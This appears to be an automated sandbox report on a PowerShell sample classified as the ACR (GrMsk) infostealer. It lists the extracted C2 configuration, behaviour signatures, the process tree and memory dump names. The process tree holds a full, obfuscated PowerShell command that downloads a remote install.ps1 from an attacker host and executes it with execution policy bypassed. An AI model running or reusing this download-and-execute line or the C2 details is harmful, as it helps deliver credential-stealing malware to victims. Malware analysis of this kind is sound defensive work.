Analysis
- max time kernel
150s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
02/11/2026, 06:20
General
- Target BE5-4532-a7E5-AE1a29.ps1
- Size 632KB
- Sample261102-g3tyqa1vev
- SHA256 34a2f3bf3e131e794689b61d42c8415d0a9d5c1fd46e3aef12bb1f17f30db91c
Malware Config
Extracted
-
acrstealer
-
4.5.3-alpha1
-
lb.birchcore.cc
-
fastly.net
-
guids
f1575b64-8492-4e8b-b102-4d26e8c70371
019fd84c-02e7-7a67-9097-4f73d632de4a
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36
Signatures
- Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
- Badlisted process makes network request 7 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 1 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\BE5-4532-a7E5-AE1a29.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "& (gcm ir*m) https://297-47d1-852d-0f1a190C45.garbagestress.cc/install.ps1 | & (gcm i*x)"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe"3⤵
- Badlisted process makes network request
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_d4thexzv.e1o.psm1
memory/4232-91-0x0000000007C50000-0x0000000007C61000-memory.dmp
memory/4232-104-0x0000000074A82000-0x0000000074A83000-memory.dmp
memory/4232-60-0x0000000003200000-0x0000000003236000-memory.dmp
memory/4232-61-0x0000000074A70000-0x000000007522C000-memory.dmp
memory/4232-63-0x0000000005C00000-0x000000000624A000-memory.dmp
memory/4232-62-0x0000000074A70000-0x000000007522C000-memory.dmp
memory/4232-115-0x0000000074A70000-0x000000007522C000-memory.dmp
memory/4232-66-0x0000000005B60000-0x0000000005BC6000-memory.dmp
memory/4232-65-0x0000000005A80000-0x0000000005AE6000-memory.dmp
memory/4232-110-0x0000000074A70000-0x000000007522C000-memory.dmp
memory/4232-109-0x0000000074A70000-0x000000007522C000-memory.dmp
memory/4232-108-0x0000000074A70000-0x000000007522C000-memory.dmp
memory/4232-107-0x0000000074A70000-0x000000007522C000-memory.dmp
memory/4232-82-0x0000000008090000-0x000000000870C000-memory.dmp
memory/4232-105-0x000000000A9D0000-0x000000000AB92000-memory.dmp
memory/4232-87-0x0000000074A70000-0x000000007522C000-memory.dmp
memory/4232-103-0x0000000007E50000-0x0000000007E58000-memory.dmp
memory/4232-100-0x0000000007DF0000-0x0000000007E0C000-memory.dmp
memory/4232-97-0x0000000007CD0000-0x0000000007CE5000-memory.dmp
memory/4232-94-0x0000000007CA0000-0x0000000007CB0000-memory.dmp
memory/4232-59-0x0000000074A82000-0x0000000074A83000-memory.dmp
memory/4232-88-0x0000000007CF0000-0x0000000007D86000-memory.dmp
memory/4232-64-0x00000000058E0000-0x0000000005902000-memory.dmp
memory/4232-86-0x0000000007A90000-0x0000000007A9A000-memory.dmp
memory/4232-106-0x0000000074A70000-0x000000007522C000-memory.dmp
memory/4232-83-0x0000000007A10000-0x0000000007A2A000-memory.dmp
memory/4232-81-0x0000000007960000-0x0000000007A03000-memory.dmp
memory/4232-78-0x0000000074A70000-0x000000007522C000-memory.dmp
memory/4232-80-0x0000000074A70000-0x000000007522C000-memory.dmp
memory/4232-79-0x0000000006CC0000-0x0000000006CE0000-memory.dmp
memory/4232-75-0x0000000070CC0000-0x0000000070D0C000-memory.dmp
memory/4232-74-0x0000000006C80000-0x0000000006CB6000-memory.dmp
memory/4232-73-0x0000000074A70000-0x000000007522C000-memory.dmp
memory/4232-72-0x00000000066F0000-0x000000000673C000-memory.dmp
memory/4232-71-0x00000000066D0000-0x00000000066EE000-memory.dmp
memory/4232-68-0x0000000006250000-0x00000000065AB000-memory.dmp
memory/4644-231-0x0000000000D50000-0x0000000000E1E000-memory.dmp
memory/4644-232-0x0000000000D50000-0x0000000000E1E000-memory.dmp
memory/4644-189-0x0000000000D50000-0x0000000000E1E000-memory.dmp
memory/4644-112-0x0000000000D50000-0x0000000000E1E000-memory.dmp
memory/4644-113-0x0000000000140000-0x0000000000187000-memory.dmp
memory/4644-116-0x0000000000D50000-0x0000000000E1E000-memory.dmp
memory/4644-120-0x0000000000D50000-0x0000000000E1E000-memory.dmp
memory/4644-148-0x0000000000D50000-0x0000000000E1E000-memory.dmp
memory/4644-184-0x0000000000D50000-0x0000000000E1E000-memory.dmp
memory/5932-27-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-29-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-52-0x0000028572370000-0x0000028572376000-memory.dmp
memory/5932-53-0x0000028572E10000-0x0000028572E1A000-memory.dmp
memory/5932-55-0x0000028572DD0000-0x0000028572DF4000-memory.dmp
memory/5932-54-0x0000028572DD0000-0x0000028572DFA000-memory.dmp
memory/5932-57-0x0000028572390000-0x00000285724BF000-memory.dmp
memory/5932-58-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-50-0x0000028572DF0000-0x0000028572E0C000-memory.dmp
memory/5932-49-0x0000028572350000-0x000002857235A000-memory.dmp
memory/5932-48-0x0000028572DD0000-0x0000028572DEE000-memory.dmp
memory/5932-47-0x0000028572390000-0x00000285724BF000-memory.dmp
memory/5932-46-0x0000028572340000-0x000002857234A000-memory.dmp
memory/5932-45-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-44-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-43-0x0000028572AC0000-0x0000028572B72000-memory.dmp
memory/5932-42-0x0000028572320000-0x000002857233E000-memory.dmp
memory/5932-39-0x0000028572390000-0x00000285724BF000-memory.dmp
memory/5932-38-0x0000028572390000-0x00000285724BF000-memory.dmp
memory/5932-37-0x0000028572390000-0x00000285724BF000-memory.dmp
memory/5932-36-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-35-0x0000028572390000-0x00000285724BF000-memory.dmp
memory/5932-34-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-33-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-32-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-31-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-30-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-51-0x0000028572360000-0x0000028572368000-memory.dmp
memory/5932-28-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-0-0x00007FFF8C3FF000-0x00007FFF8C400000-memory.dmp
memory/5932-26-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-25-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-24-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-23-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-22-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-21-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-20-0x0000028572390000-0x00000285724BF000-memory.dmp
memory/5932-19-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-18-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-17-0x0000028572390000-0x00000285724BF000-memory.dmp
memory/5932-16-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-15-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-14-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-13-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-12-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-11-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-10-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-9-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-8-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-7-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-6-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-5-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-4-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/5932-3-0x0000028572280000-0x00000285722A2000-memory.dmp